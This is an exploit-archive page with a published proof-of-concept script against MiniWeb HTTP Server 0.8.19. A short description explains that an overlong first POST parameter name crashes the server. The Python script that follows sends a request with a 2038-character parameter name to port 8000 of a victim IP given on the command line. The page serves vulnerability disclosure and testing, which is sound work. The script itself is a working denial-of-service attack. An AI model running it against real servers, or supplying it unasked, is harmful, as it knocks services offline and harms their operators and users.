MiniWeb HTTP Server 0.8.19 Buffer Overflow

Authored by securityforeveryone.com

Posted Dec 14, 2020

MiniWeb HTTP Server version 0.8.19 buffer overflow proof of concept exploit.

tags | exploit, web, overflow, proof of concept

SHA-256 | 1a71e4f5aaaa29ed17ae6a981c9455726c46099cdb6db2ff4bd92d771c72b161 **Download** | **Favorite** | **View**

Related Files

Share This

Like Twee LinkedIn Reddit Digg StumbleUpon

Change Mirror Download

```
# Exploit Title: MiniWeb HTTP Server 0.8.19 - Buffer Overflow (PoC)
# Date: 13.12.2020
# Exploit Author: securityforeveryone.com
# Author Mail: hello[AT]securityforeveryone.com
# Vendor Homepage: https://sourceforge.net/projects/miniweb/
# Software Link: https://sourceforge.net/projects/miniweb/files/miniweb/0.8/miniweb-win32-20130309.zip/download
# Version: 0.8.19
# Tested on: Win7 x86
# Researchers: Security For Everyone Team - https://securityforeveryone.com

'''
Description

 MiniWeb HTTP server 0.8.19 allows remote attackers to cause a denial of service (daemon crash) via a long name
for the
 first parameter in a POST request.

Exploitation

 The vulnerability is the first parameter's name of the POST request. Example:
PARAM_NAME1=param_data1&param_name2=param_data2
 if we send a lot of "A" characters to "PARAM_NAME1", the miniweb server will crash.

About Security For Everyone Team

We are a team that has been working on cyber security in the industry for a long time.
In 2020, we created securityforeveyone.com where everyone can test their website security and get help to fix
their vulnerabilities.
We have many free tools that you can use here: https://securityforeveryone.com/free-tool-list

'''

#!/usr/bin/python

import socket
import sys
import struct

if len(sys.argv) != 2 :
  print "[+] Usage : python exploit.py [VICTIM_IP]"
  exit(0)

TCP_IP = sys.argv[1]
TCP_PORT = 8000

xx = "A"*2038 #4085

http_req = "POST /index.html HTTP/1.1\r\n"
http_req += "Host: 192.168.231.140\r\n"
http_req += "From: header-data\r\n"
http_req += "Content-Type: application/x-www-form-urlencoded\r\n\r\n"
http_req += xx + "=param_data1&param_name2=param_data2"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))
print "[+] Sending exploit payload..."
s.send(http_req)
s.close()
```


File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
				1	2	3
4	5	6	7	8	9	10
11	12	13	14	15	16	17
18	19	20	21	22	23	24
25	26	27	28	29	30	31

Top Authors In Last 30 Days

- **Red Hat** 150 files
- **Ubuntu** 68 files
- **LiquidWorm** 23 files
- **Debian** 16 files
- **malvuln** 11 files
- **nu11secur1ty** 11 files
- **Gentoo** 9 files
- **Google Security Research** 6 files
- **Julien Ahrens** 4 files
- **T. Weber** 4 files

File Tags

ActiveX (932)
Advisory (79,754)
Arbitrary (15,694)
BBS (2,859)
Bypass (1,619)
CGI (1,018)
Code Execution (6,926)
Conference (673)
Cracker (840)
CSRF (3,290)
DoS (22,602)
Encryption (2,349)
Exploit (50,359)
File Inclusion (4,165)
File Upload (946)
Firewall (821)
Info Disclosure (2,660)
Intrusion Detection (867)
Java (2,899)
JavaScript (821)
Kernel (6,291)
Local (14,201)
Magazine (586)
Overflow (12,419)
Perl (1,418)
PHP (5,093)
Proof of Concept (2,291)
Protocol (3,435)
Python (1,467)
Remote (30,044)
Root (3,504)
Ruby (594)
Scanner (1,631)
Security Tool (7,777)
Shell (3,103)
Shellcode (1,204)
Sniffer (886)

File Archives

December 2022
November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
Older

Systems

AIX (426)
Apple (1,926)
BSD (370)
CentOS (55)
Cisco (1,917)
Debian (6,634)
Fedora (1,690)
FreeBSD (1,242)
Gentoo (4,272)
HPUX (878)
iOS (330)
iPhone (108)
IRIX (220)
Juniper (67)
Linux (44,315)
Mac OS X (684)
Mandriva (3,105)
NetBSD (255)
OpenBSD (479)
RedHat (12,469)
Slackware (941)
Solaris (1,607)

Spoof (2,166)
SQL Injection (16,102)
TCP (2,379)
Trojan (686)
UDP (876)
Virus (662)
Vulnerability (31,136)
Web (9,365)
Whitepaper (3,729)
x86 (946)
XSS (17,494)
Other

SUSE (1,444)
Ubuntu (8,199)
UNIX (9,159)
UnixWare (185)
Windows (6,511)
Other

Site Links

News by Month
News Tags
Files by Month
File Tags
File Directory

About Us

History & Purpose
Contact Information
Terms of Service
Privacy Statement
Copyright Information

Hosting By

Rokasec

Follow us on Twitter

Subscribe to an RSS Feed